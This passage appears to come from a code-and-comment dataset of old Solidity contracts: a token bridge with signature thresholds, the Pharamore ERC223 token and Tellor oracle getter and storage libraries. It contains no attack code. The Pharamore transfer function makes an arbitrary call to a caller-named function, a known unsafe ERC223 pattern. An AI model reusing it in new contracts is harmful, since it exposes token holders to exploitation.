address(0)); require(signatoriesCount < MAX_SIGNATORIES); require(!signatories[_signatory]); require(signatoryRegistry.isValid(address(_signatory))); signatories[_signatory] = true; signatoriesCount += 1; uint256 count = signatoriesCount.mul(2).div(3); approval = count.max(1); AddedSignatory(_signatory); } /// @notice bridge operator removes an existing signatory if it does not want to /// participate in the transfer process or cannot be trusted further /// @param _signatory signatory address function removeSignatory(address _signatory) public onlyOwner { require(_signatory != address(0)); require(signatories[_signatory]); signatories[_signatory] = false; signatoriesCount -= 1; uint256 count = signatoriesCount.mul(2).div(3); approval = count.max(1); RemovedSignatory(_signatory); } /// @notice checks if given signatory is selected for this bridge's transfer process /// @param _signatory signatory address /// @return true or false function isValidSignatory(address _signatory) public returns (bool) { return signatories[_signatory]; } /// @notice returns number of selected signatories participating in the transfer process /// @return number function validSignatoriesCount() constant returns (uint256) { return signatoriesCount; } /// @notice returns the minimum number of selected signatories required to thaw tokens on /// the destination network. /// @return number function minimumSignatoriesApproval() constant returns (uint256) { return approval; } /// @notice Bridge operator verifies that the signatories threshold is met. Thaw function is /// called in the ATS to release the assets at the end of current bundle verification and /// emits Distributed event. /// @dev If the bundle is successfully verified, it emits ProcessedBundle event. If a /// bundle has already been previously verified and exists then it emits /// SuccessfulTransactionHash event with its correct parameter. /// @param _sourceBlockHash The block hash from the source chain having transfer transactions /// @param _sourceTransactionHashes The transfer transaction hashes in sourceBlockHash from /// the source chain /// @param _recipients The destination chain account addresses participating in transfer process /// @param _amounts The respective amounts to be thawed by bridge operator /// @param _V The 'v' component of a signature of Secp256k1 /// @param _R The 'r' component of a signature of Secp256k1 /// @param _S The 's' component of a signature of Secp256k1 /// @param _initTransferHashes keccak256 hashes of respective transfer recipients, amounts, UUIDs function processBundle( bytes32 _sourceBlockHash, bytes32[] _sourceTransactionHashes, address[] _recipients, uint256[] _amounts, uint8[] _V, bytes32[] _R, bytes32[] _S, bytes32[] _initTransferHashes ) public onlyOwner { require(_sourceBlockHash != 0); require(_sourceTransactionHashes.length == _recipients.length); require(_recipients.length == _amounts.length); require(approval > 0); require(_V.length >= approval); bytes32 transferBundleHash = sha3( _sourceBlockHash, _sourceTransactionHashes, _recipients, _amounts ); if (bundleTxMap[transferBundleHash] != 0) { SuccessfulTransactionHash(getBundle(transferBundleHash)); } require(bundleTxMap[transferBundleHash] == 0); //verify signatures hasEnoughSignatures(transferBundleHash, _V, _R, _S); uint256 i; for (i = 0; i < _sourceTransactionHashes.length; ++i) { atsTokenBase.thaw( _recipients[i], _amounts[i], this, _sourceTransactionHashes[i], _initTransferHashes[i] ); Distributed( _sourceTransactionHashes[i], _recipients[i], _amounts[i], _initTransferHashes[i] ); } // Ethereum does not have support for transaction hash, hence setting it // to fixed value 1 temporarily bundleTxMap[transferBundleHash] = 0x1; ProcessedBundle(_sourceBlockHash, transferBundleHash); } /// @notice returns 1 if bundle is already processed, however this method is ignored for now /// @param _bundleHash hash of transfer bundle /// @return returns 1 function getBundle(bytes32 _bundleHash) constant returns (bytes32) { return bundleTxMap[_bundleHash]; } /// @notice bridge operator sets the mapping to 1 if bundle is already processed, however, /// this method is ignored for now /// @param _bundleHash hash of transfer bundle /// @param _transactionHash transaction hash from the processBundle operation function setBundle(bytes32 _bundleHash, bytes32 _transactionHash) public onlyOwner { if (bundleTxMap[_bundleHash] == 0x1) bundleTxMap[_bundleHash] = _transactionHash; } /// @param _transferBundleHash The bundle hash of the transfer to be validated /// @param _V The 'v' component of a signature of Secp256k1 /// @param _R The 'r' component of a signature of Secp256k1 /// @param _S The 's' component of a signature of Secp256k1 function hasEnoughSignatures( bytes32 _transferBundleHash, uint8[] _V, bytes32[] _R, bytes32[] _S ) internal { uint256 i; uint256 signed = 0; for (i = 0; i < _V.length; ++i) { address signatory = ecrecover(_transferBundleHash, _V[i], _R[i], _S[i]); require(isValidSignatory(signatory)); require(signatoryRegistry.isValid(signatory)); if (signatories[signatory]) { signed += 1; } } require(signed >= approval); } } /// @title reference to the functions in the ERC20 controller (ATS) implementation contract ATSTokenBase { function thaw( address _recipient, uint256 _amount, address _bridgeAddress, bytes32 _sourceTransactionHash, bytes32 _initTransferHash ) public; } /// @title reference to the functions in the Signatory Registry implementation contract SignatoryRegistry { function isValid(address _signatory) public returns (bool); }
checks if given signatory is selected for this bridge's transfer process _signatory signatory address return true or false
function isValidSignatory(address _signatory) public returns (bool) { return signatories[_signatory]; }
1,088,842
pragma solidity ^0.4.21; /* ERC20 contract interface */ /* With ERC23/ERC223 Extensions */ /* Fully backward compatible with ERC20 */ /* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC20 { uint public totalSupply; // ERC223 and ERC20 functions and events function balanceOf(address who) public constant returns (uint); function totalSupply() constant public returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string customFallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); // ERC223 functions function name() constant public returns (string _name); function symbol() constant public returns (string _symbol); function decimals() constant public returns (uint8 _decimals); // ERC20 functions and events function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * Include SafeMath Lib */ contract SafeMath { uint256 constant public MAX_UINT256 = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; function safeAdd(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x > MAX_UINT256 - y) revert(); return x + y; } function safeSub(uint256 x, uint256 y) constant internal returns (uint256 z) { if (x < y) { revert(); } return x - y; } function safeMul(uint256 x, uint256 y) constant internal returns (uint256 z) { if (y == 0) { return 0; } if (x > MAX_UINT256 / y) { revert(); } return x * y; } } /* * Contract that is working with ERC223 tokens */ contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } /* * Pharamore is an ERC20 token with ERC223 Extensions */ contract Pharamore is ERC20, SafeMath { string public name = "Pharamore"; string public symbol = "MORE"; uint8 public decimals = 8; uint256 public totalSupply = 950000 * 10**8; address public owner; bool public unlocked = false; bool public tokenCreated = false; mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; // Constructor is called only once and can not be called again (Ethereum Solidity specification) function Pharamore() public { // Security check in case EVM has future flaw or exploit to call constructor multiple times // Ensure token gets created once only require(tokenCreated == false); tokenCreated = true; owner = msg.sender; balances[owner] = totalSupply; // Final sanity check to ensure owner balance is greater than zero require(balances[owner] > 0); } modifier onlyOwner() { require(msg.sender == owner); _; } // Function to distribute tokens to list of addresses by the provided amount // Verify and require that: // - Balance of owner cannot be negative // - All transfers can be fulfilled with remaining owner balance // - No new tokens can ever be minted except originally created 100,000,000,000 function distributeAirdrop(address[] addresses, uint256 amount) onlyOwner public { // Only allow undrop while token is locked // After token is unlocked, this method becomes permanently disabled require(!unlocked); uint256 normalizedAmount = amount * 10**8; // Only proceed if there are enough tokens to be distributed to all addresses // Never allow balance of owner to become negative require(balances[owner] >= safeMul(addresses.length, normalizedAmount)); for (uint i = 0; i < addresses.length; i++) { balances[owner] = safeSub(balanceOf(owner), normalizedAmount); balances[addresses[i]] = safeAdd(balanceOf(addresses[i]), normalizedAmount); Transfer(owner, addresses[i], normalizedAmount); } } // Function to access name of token .sha function name() constant public returns (string _name) { return name; } // Function to access symbol of token . function symbol() constant public returns (string _symbol) { return symbol; } // Function to access decimals of token . function decimals() constant public returns (uint8 _decimals) { return decimals; } // Function to access total supply of tokens . function totalSupply() constant public returns (uint256 _totalSupply) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again require(unlocked); if (isContract(_to)) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.call.value(0)(bytes4(sha3(_custom_fallback)), msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again require(unlocked); if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again require(unlocked); //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); Transfer(msg.sender, _to, _value, _data); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) { revert(); } balances[msg.sender] = safeSub(balanceOf(msg.sender), _value); balances[_to] = safeAdd(balanceOf(_to), _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } // Get balance of the address provided function balanceOf(address _owner) constant public returns (uint256 balance) { return balances[_owner]; } // Creator/Owner can unlocked it once and it can never be locked again // Use after airdrop is complete function unlockForever() onlyOwner public { unlocked = true; } // Allow transfers if the owner provided an allowance // Prevent from any transfers if token is not yet unlocked // Use SafeMath for the main logic function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again require(unlocked); // Protect against wrapping uints. require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); uint256 allowance = allowed[_from][msg.sender]; require(balances[_from] >= _value && allowance >= _value); balances[_to] = safeAdd(balanceOf(_to), _value); balances[_from] = safeSub(balanceOf(_from), _value); if (allowance < MAX_UINT256) { allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); } Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { // Only allow transfer once unlocked // Once it is unlocked, it is unlocked forever and no one can lock again require(unlocked); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256 remaining) { return allowed[_owner][_spender]; } }
Creator/Owner can unlocked it once and it can never be locked again Use after airdrop is complete
function unlockForever() onlyOwner public { unlocked = true; }
5,389,341
pragma solidity ^0.5.0; //Functions for retrieving min and Max in 51 length array (requestQ) //Taken partly from: https://github.com/modular-network/ethereum-libraries-array-utils/blob/master/contracts/Array256Lib.sol library Utilities{ /** * @dev Returns the minimum value in an array. */ function getMax(uint[51] memory data) internal pure returns(uint256 max,uint256 maxIndex) { max = data[1]; maxIndex; for(uint i=1;i < data.length;i++){ if(data[i] > max){ max = data[i]; maxIndex = i; } } } /** * @dev Returns the minimum value in an array. */ function getMin(uint[51] memory data) internal pure returns(uint256 min,uint256 minIndex) { minIndex = data.length - 1; min = data[minIndex]; for(uint i = data.length-1;i > 0;i--) { if(data[i] < min) { min = data[i]; minIndex = i; } } } // /// @dev Returns the minimum value and position in an array. // //@note IT IGNORES THE 0 INDEX // function getMin(uint[51] memory arr) internal pure returns (uint256 min, uint256 minIndex) { // assembly { // minIndex := 50 // min := mload(add(arr, mul(minIndex , 0x20))) // for {let i := 49 } gt(i,0) { i := sub(i, 1) } { // let item := mload(add(arr, mul(i, 0x20))) // if lt(item,min){ // min := item // minIndex := i // } // } // } // } // function getMax(uint256[51] memory arr) internal pure returns (uint256 max, uint256 maxIndex) { // assembly { // for { let i := 0 } lt(i,51) { i := add(i, 1) } { // let item := mload(add(arr, mul(i, 0x20))) // if lt(max, item) { // max := item // maxIndex := i // } // } // } // } } /** * @title Tellor Getters Library * @dev This is the getter library for all variables in the Tellor Tributes system. TellorGetters references this * libary for the getters logic */ library TellorGettersLibrary{ using SafeMath for uint256; event NewTellorAddress(address _newTellor); //emmited when a proposed fork is voted true /*Functions*/ //The next two functions are onlyOwner functions. For Tellor to be truly decentralized, we will need to transfer the Deity to the 0 address. //Only needs to be in library /** * @dev This function allows us to set a new Deity (or remove it) * @param _newDeity address of the new Deity of the tellor system */ function changeDeity(TellorStorage.TellorStorageStruct storage self, address _newDeity) internal{ require(self.addressVars[keccak256("_deity")] == msg.sender); self.addressVars[keccak256("_deity")] =_newDeity; } //Only needs to be in library /** * @dev This function allows the deity to upgrade the Tellor System * @param _tellorContract address of new updated TellorCore contract */ function changeTellorContract(TellorStorage.TellorStorageStruct storage self,address _tellorContract) internal{ require(self.addressVars[keccak256("_deity")] == msg.sender); self.addressVars[keccak256("tellorContract")]= _tellorContract; emit NewTellorAddress(_tellorContract); } /*Tellor Getters*/ /** * @dev This function tells you if a given challenge has been completed by a given miner * @param _challenge the challenge to search for * @param _miner address that you want to know if they solved the challenge * @return true if the _miner address provided solved the */ function didMine(TellorStorage.TellorStorageStruct storage self, bytes32 _challenge,address _miner) internal view returns(bool){ return self.minersByChallenge[_challenge][_miner]; } /** * @dev Checks if an address voted in a dispute * @param _disputeId to look up * @param _address of voting party to look up * @return bool of whether or not party voted */ function didVote(TellorStorage.TellorStorageStruct storage self,uint _disputeId, address _address) internal view returns(bool){ return self.disputesById[_disputeId].voted[_address]; } /** * @dev allows Tellor to read data from the addressVars mapping * @param _data is the keccak256("variable_name") of the variable that is being accessed. * These are examples of how the variables are saved within other functions: * addressVars[keccak256("_owner")] * addressVars[keccak256("tellorContract")] */ function getAddressVars(TellorStorage.TellorStorageStruct storage self, bytes32 _data) view internal returns(address){ return self.addressVars[_data]; } /** * @dev Gets all dispute variables * @param _disputeId to look up * @return bytes32 hash of dispute * @return bool executed where true if it has been voted on * @return bool disputeVotePassed * @return bool isPropFork true if the dispute is a proposed fork * @return address of reportedMiner * @return address of reportingParty * @return address of proposedForkAddress * @return uint of requestId * @return uint of timestamp * @return uint of value * @return uint of minExecutionDate * @return uint of numberOfVotes * @return uint of blocknumber * @return uint of minerSlot * @return uint of quorum * @return uint of fee * @return int count of the current tally */ function getAllDisputeVars(TellorStorage.TellorStorageStruct storage self,uint _disputeId) internal view returns(bytes32, bool, bool, bool, address, address, address,uint[9] memory, int){ TellorStorage.Dispute storage disp = self.disputesById[_disputeId]; return(disp.hash,disp.executed, disp.disputeVotePassed, disp.isPropFork, disp.reportedMiner, disp.reportingParty,disp.proposedForkAddress,[disp.disputeUintVars[keccak256("requestId")], disp.disputeUintVars[keccak256("timestamp")], disp.disputeUintVars[keccak256("value")], disp.disputeUintVars[keccak256("minExecutionDate")], disp.disputeUintVars[keccak256("numberOfVotes")], disp.disputeUintVars[keccak256("blockNumber")], disp.disputeUintVars[keccak256("minerSlot")], disp.disputeUintVars[keccak256("quorum")],disp.disputeUintVars[keccak256("fee")]],disp.tally); } /** * @dev Getter function for variables for the requestId being currently mined(currentRequestId) * @return current challenge, curretnRequestId, level of difficulty, api/query string, and granularity(number of decimals requested), total tip for the request */ function getCurrentVariables(TellorStorage.TellorStorageStruct storage self) internal view returns(bytes32, uint, uint,string memory,uint,uint){ return (self.currentChallenge,self.uintVars[keccak256("currentRequestId")],self.uintVars[keccak256("difficulty")],self.requestDetails[self.uintVars[keccak256("currentRequestId")]].queryString,self.requestDetails[self.uintVars[keccak256("currentRequestId")]].apiUintVars[keccak256("granularity")],self.requestDetails[self.uintVars[keccak256("currentRequestId")]].apiUintVars[keccak256("totalTip")]); } /** * @dev Checks if a given hash of miner,requestId has been disputed * @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId)); * @return uint disputeId */ function getDisputeIdByDisputeHash(TellorStorage.TellorStorageStruct storage self,bytes32 _hash) internal view returns(uint){ return self.disputeIdByDisputeHash[_hash]; } /** * @dev Checks for uint variables in the disputeUintVars mapping based on the disuputeId * @param _disputeId is the dispute id; * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the disputeUintVars under the Dispute struct * @return uint value for the bytes32 data submitted */ function getDisputeUintVars(TellorStorage.TellorStorageStruct storage self,uint _disputeId,bytes32 _data) internal view returns(uint){ return self.disputesById[_disputeId].disputeUintVars[_data]; } /** * @dev Gets the a value for the latest timestamp available * @return value for timestamp of last proof of work submited * @return true if the is a timestamp for the lastNewValue */ function getLastNewValue(TellorStorage.TellorStorageStruct storage self) internal view returns(uint,bool){ return (retrieveData(self,self.requestIdByTimestamp[self.uintVars[keccak256("timeOfLastNewValue")]], self.uintVars[keccak256("timeOfLastNewValue")]),true); } /** * @dev Gets the a value for the latest timestamp available * @param _requestId being requested * @return value for timestamp of last proof of work submited and if true if it exist or 0 and false if it doesn't */ function getLastNewValueById(TellorStorage.TellorStorageStruct storage self,uint _requestId) internal view returns(uint,bool){ TellorStorage.Request storage _request = self.requestDetails[_requestId]; if(_request.requestTimestamps.length > 0){ return (retrieveData(self,_requestId,_request.requestTimestamps[_request.requestTimestamps.length - 1]),true); } else{ return (0,false); } } /** * @dev Gets blocknumber for mined timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up blocknumber * @return uint of the blocknumber which the dispute was mined */ function getMinedBlockNum(TellorStorage.TellorStorageStruct storage self,uint _requestId, uint _timestamp) internal view returns(uint){ return self.requestDetails[_requestId].minedBlockNum[_timestamp]; } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up miners for * @return the 5 miners' addresses */ function getMinersByRequestIdAndTimestamp(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(address[5] memory){ return self.requestDetails[_requestId].minersByValue[_timestamp]; } /** * @dev Get the name of the token * @return string of the token name */ function getName(TellorStorage.TellorStorageStruct storage self) internal pure returns(string memory){ return "Tellor Tributes"; } /** * @dev Counts the number of values that have been submited for the request * if called for the currentRequest being mined it can tell you how many miners have submitted a value for that * request so far * @param _requestId the requestId to look up * @return uint count of the number of values received for the requestId */ function getNewValueCountbyRequestId(TellorStorage.TellorStorageStruct storage self, uint _requestId) internal view returns(uint){ return self.requestDetails[_requestId].requestTimestamps.length; } /** * @dev Getter function for the specified requestQ index * @param _index to look up in the requestQ array * @return uint of reqeuestId */ function getRequestIdByRequestQIndex(TellorStorage.TellorStorageStruct storage self, uint _index) internal view returns(uint){ require(_index <= 50); return self.requestIdByRequestQIndex[_index]; } /** * @dev Getter function for requestId based on timestamp * @param _timestamp to check requestId * @return uint of reqeuestId */ function getRequestIdByTimestamp(TellorStorage.TellorStorageStruct storage self, uint _timestamp) internal view returns(uint){ return self.requestIdByTimestamp[_timestamp]; } /** * @dev Getter function for requestId based on the qeuaryHash * @param _queryHash hash(of string api and granularity) to check if a request already exists * @return uint requestId */ function getRequestIdByQueryHash(TellorStorage.TellorStorageStruct storage self, bytes32 _queryHash) internal view returns(uint){ return self.requestIdByQueryHash[_queryHash]; } /** * @dev Getter function for the requestQ array * @return the requestQ arrray */ function getRequestQ(TellorStorage.TellorStorageStruct storage self) view internal returns(uint[51] memory){ return self.requestQ; } /** * @dev Allowes access to the uint variables saved in the apiUintVars under the requestDetails struct * for the requestId specified * @param _requestId to look up * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the apiUintVars under the requestDetails struct * @return uint value of the apiUintVars specified in _data for the requestId specified */ function getRequestUintVars(TellorStorage.TellorStorageStruct storage self,uint _requestId,bytes32 _data) internal view returns(uint){ return self.requestDetails[_requestId].apiUintVars[_data]; } /** * @dev Gets the API struct variables that are not mappings * @param _requestId to look up * @return string of api to query * @return string of symbol of api to query * @return bytes32 hash of string * @return bytes32 of the granularity(decimal places) requested * @return uint of index in requestQ array * @return uint of current payout/tip for this requestId */ function getRequestVars(TellorStorage.TellorStorageStruct storage self,uint _requestId) internal view returns(string memory,string memory, bytes32,uint, uint, uint) { TellorStorage.Request storage _request = self.requestDetails[_requestId]; return (_request.queryString,_request.dataSymbol,_request.queryHash, _request.apiUintVars[keccak256("granularity")],_request.apiUintVars[keccak256("requestQPosition")],_request.apiUintVars[keccak256("totalTip")]); } /** * @dev This function allows users to retireve all information about a staker * @param _staker address of staker inquiring about * @return uint current state of staker * @return uint startDate of staking */ function getStakerInfo(TellorStorage.TellorStorageStruct storage self,address _staker) internal view returns(uint,uint){ return (self.stakerDetails[_staker].currentStatus,self.stakerDetails[_staker].startDate); } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestampt to look up miners for * @return address[5] array of 5 addresses ofminers that mined the requestId */ function getSubmissionsByTimestamp(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(uint[5] memory){ return self.requestDetails[_requestId].valuesByTimestamp[_timestamp]; } /** * @dev Get the symbol of the token * @return string of the token symbol */ function getSymbol(TellorStorage.TellorStorageStruct storage self) internal pure returns(string memory){ return "TT"; } /** * @dev Gets the timestamp for the value based on their index * @param _requestID is the requestId to look up * @param _index is the value index to look up * @return uint timestamp */ function getTimestampbyRequestIDandIndex(TellorStorage.TellorStorageStruct storage self,uint _requestID, uint _index) internal view returns(uint){ return self.requestDetails[_requestID].requestTimestamps[_index]; } /** * @dev Getter for the variables saved under the TellorStorageStruct uintVars variable * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the uintVars under the TellorStorageStruct struct * This is an example of how data is saved into the mapping within other functions: * self.uintVars[keccak256("stakerCount")] * @return uint of specified variable */ function getUintVar(TellorStorage.TellorStorageStruct storage self,bytes32 _data) view internal returns(uint){ return self.uintVars[_data]; } /** * @dev Getter function for next requestId on queue/request with highest payout at time the function is called * @return onDeck/info on request with highest payout-- RequestId, Totaltips, and API query string */ function getVariablesOnDeck(TellorStorage.TellorStorageStruct storage self) internal view returns(uint, uint,string memory){ uint newRequestId = getTopRequestID(self); return (newRequestId,self.requestDetails[newRequestId].apiUintVars[keccak256("totalTip")],self.requestDetails[newRequestId].queryString); } /** * @dev Getter function for the request with highest payout. This function is used within the getVariablesOnDeck function * @return uint _requestId of request with highest payout at the time the function is called */ function getTopRequestID(TellorStorage.TellorStorageStruct storage self) internal view returns(uint _requestId){ uint _max; uint _index; (_max,_index) = Utilities.getMax(self.requestQ); _requestId = self.requestIdByRequestQIndex[_index]; } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up miners for * @return bool true if requestId/timestamp is under dispute */ function isInDispute(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns(bool){ return self.requestDetails[_requestId].inDispute[_timestamp]; } /** * @dev Retreive value from oracle based on requestId/timestamp * @param _requestId being requested * @param _timestamp to retreive data/value from * @return uint value for requestId/timestamp submitted */ function retrieveData(TellorStorage.TellorStorageStruct storage self, uint _requestId, uint _timestamp) internal view returns (uint) { return self.requestDetails[_requestId].finalValues[_timestamp]; } /** * @dev Getter for the total_supply of oracle tokens * @return uint total supply */ function totalSupply(TellorStorage.TellorStorageStruct storage self) internal view returns (uint) { return self.uintVars[keccak256("total_supply")]; } } pragma solidity ^0.5.0; //Slightly modified SafeMath library - includes a min and max function, removes useless div function library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function add(int256 a, int256 b) internal pure returns (int256 c) { if(b > 0){ c = a + b; assert(c >= a); } else{ c = a + b; assert(c <= a); } } function max(uint a, uint b) internal pure returns (uint256) { return a > b ? a : b; } function max(int256 a, int256 b) internal pure returns (uint256) { return a > b ? uint(a) : uint(b); } function min(uint a, uint b) internal pure returns (uint256) { return a < b ? a : b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function sub(int256 a, int256 b) internal pure returns (int256 c) { if(b > 0){ c = a - b; assert(c <= a); } else{ c = a - b; assert(c >= a); } } } /** * @title Tellor Oracle Storage Library * @dev Contains all the variables/structs used by Tellor */ library TellorStorage { //Internal struct for use in proof-of-work submission struct Details { uint value; address miner; } struct Dispute { bytes32 hash;//unique hash of dispute: keccak256(_miner,_requestId,_timestamp) int tally;//current tally of votes for - against measure bool executed;//is the dispute settled bool disputeVotePassed;//did the vote pass? bool isPropFork; //true for fork proposal NEW address reportedMiner; //miner who alledgedly submitted the 'bad value' will get disputeFee if dispute vote fails address reportingParty;//miner reporting the 'bad value'-pay disputeFee will get reportedMiner's stake if dispute vote passes address proposedForkAddress;//new fork address (if fork proposal) mapping(bytes32 => uint) disputeUintVars; //Each of the variables below is saved in the mapping disputeUintVars for each disputeID //e.g. TellorStorageStruct.DisputeById[disputeID].disputeUintVars[keccak256("requestId")] //These are the variables saved in this mapping: // uint keccak256("requestId");//apiID of disputed value // uint keccak256("timestamp");//timestamp of distputed value // uint keccak256("value"); //the value being disputed // uint keccak256("minExecutionDate");//7 days from when dispute initialized // uint keccak256("numberOfVotes");//the number of parties who have voted on the measure // uint keccak256("blockNumber");// the blocknumber for which votes will be calculated from // uint keccak256("minerSlot"); //index in dispute array // uint keccak256("quorum"); //quorum for dispute vote NEW // uint keccak256("fee"); //fee paid corresponding to dispute mapping (address => bool) voted; //mapping of address to whether or not they voted } struct StakeInfo { uint currentStatus;//0-not Staked, 1=Staked, 2=LockedForWithdraw 3= OnDispute uint startDate; //stake start date } //Internal struct to allow balances to be queried by blocknumber for voting purposes struct Checkpoint { uint128 fromBlock;// fromBlock is the block number that the value was generated from uint128 value;// value is the amount of tokens at a specific block number } struct Request { string queryString;//id to string api string dataSymbol;//short name for api request bytes32 queryHash;//hash of api string and granularity e.g. keccak256(abi.encodePacked(_sapi,_granularity)) uint[] requestTimestamps; //array of all newValueTimestamps requested mapping(bytes32 => uint) apiUintVars; //Each of the variables below is saved in the mapping apiUintVars for each api request //e.g. requestDetails[_requestId].apiUintVars[keccak256("totalTip")] //These are the variables saved in this mapping: // uint keccak256("granularity"); //multiplier for miners // uint keccak256("requestQPosition"); //index in requestQ // uint keccak256("totalTip");//bonus portion of payout mapping(uint => uint) minedBlockNum;//[apiId][minedTimestamp]=>block.number mapping(uint => uint) finalValues;//This the time series of finalValues stored by the contract where uint UNIX timestamp is mapped to value mapping(uint => bool) inDispute;//checks if API id is in dispute or finalized. mapping(uint => address[5]) minersByValue; mapping(uint => uint[5])valuesByTimestamp; } struct TellorStorageStruct { bytes32 currentChallenge; //current challenge to be solved uint[51] requestQ; //uint50 array of the top50 requests by payment amount uint[] newValueTimestamps; //array of all timestamps requested Details[5] currentMiners; //This struct is for organizing the five mined values to find the median mapping(bytes32 => address) addressVars; //Address fields in the Tellor contract are saved the addressVars mapping //e.g. addressVars[keccak256("tellorContract")] = address //These are the variables saved in this mapping: // address keccak256("tellorContract");//Tellor address // address keccak256("_owner");//Tellor Owner address // address keccak256("_deity");//Tellor Owner that can do things at will mapping(bytes32 => uint) uintVars; //uint fields in the Tellor contract are saved the uintVars mapping //e.g. uintVars[keccak256("decimals")] = uint //These are the variables saved in this mapping: // keccak256("decimals"); //18 decimal standard ERC20 // keccak256("disputeFee");//cost to dispute a mined value // keccak256("disputeCount");//totalHistoricalDisputes // keccak256("total_supply"); //total_supply of the token in circulation // keccak256("stakeAmount");//stakeAmount for miners (we can cut gas if we just hardcode it in...or should it be variable?) // keccak256("stakerCount"); //number of parties currently staked // keccak256("timeOfLastNewValue"); // time of last challenge solved // keccak256("difficulty"); // Difficulty of current block // keccak256("currentTotalTips"); //value of highest api/timestamp PayoutPool // keccak256("currentRequestId"); //API being mined--updates with the ApiOnQ Id // keccak256("requestCount"); // total number of requests through the system // keccak256("slotProgress");//Number of miners who have mined this value so far // keccak256("miningReward");//Mining Reward in PoWo tokens given to all miners per value // keccak256("timeTarget"); //The time between blocks (mined Oracle values) mapping(bytes32 => mapping(address=>bool)) minersByChallenge;//This is a boolean that tells you if a given challenge has been completed by a given miner mapping(uint => uint) requestIdByTimestamp;//minedTimestamp to apiId mapping(uint => uint) requestIdByRequestQIndex; //link from payoutPoolIndex (position in payout pool array) to apiId mapping(uint => Dispute) disputesById;//disputeId=> Dispute details mapping (address => Checkpoint[]) balances; //balances of a party given blocks mapping(address => mapping (address => uint)) 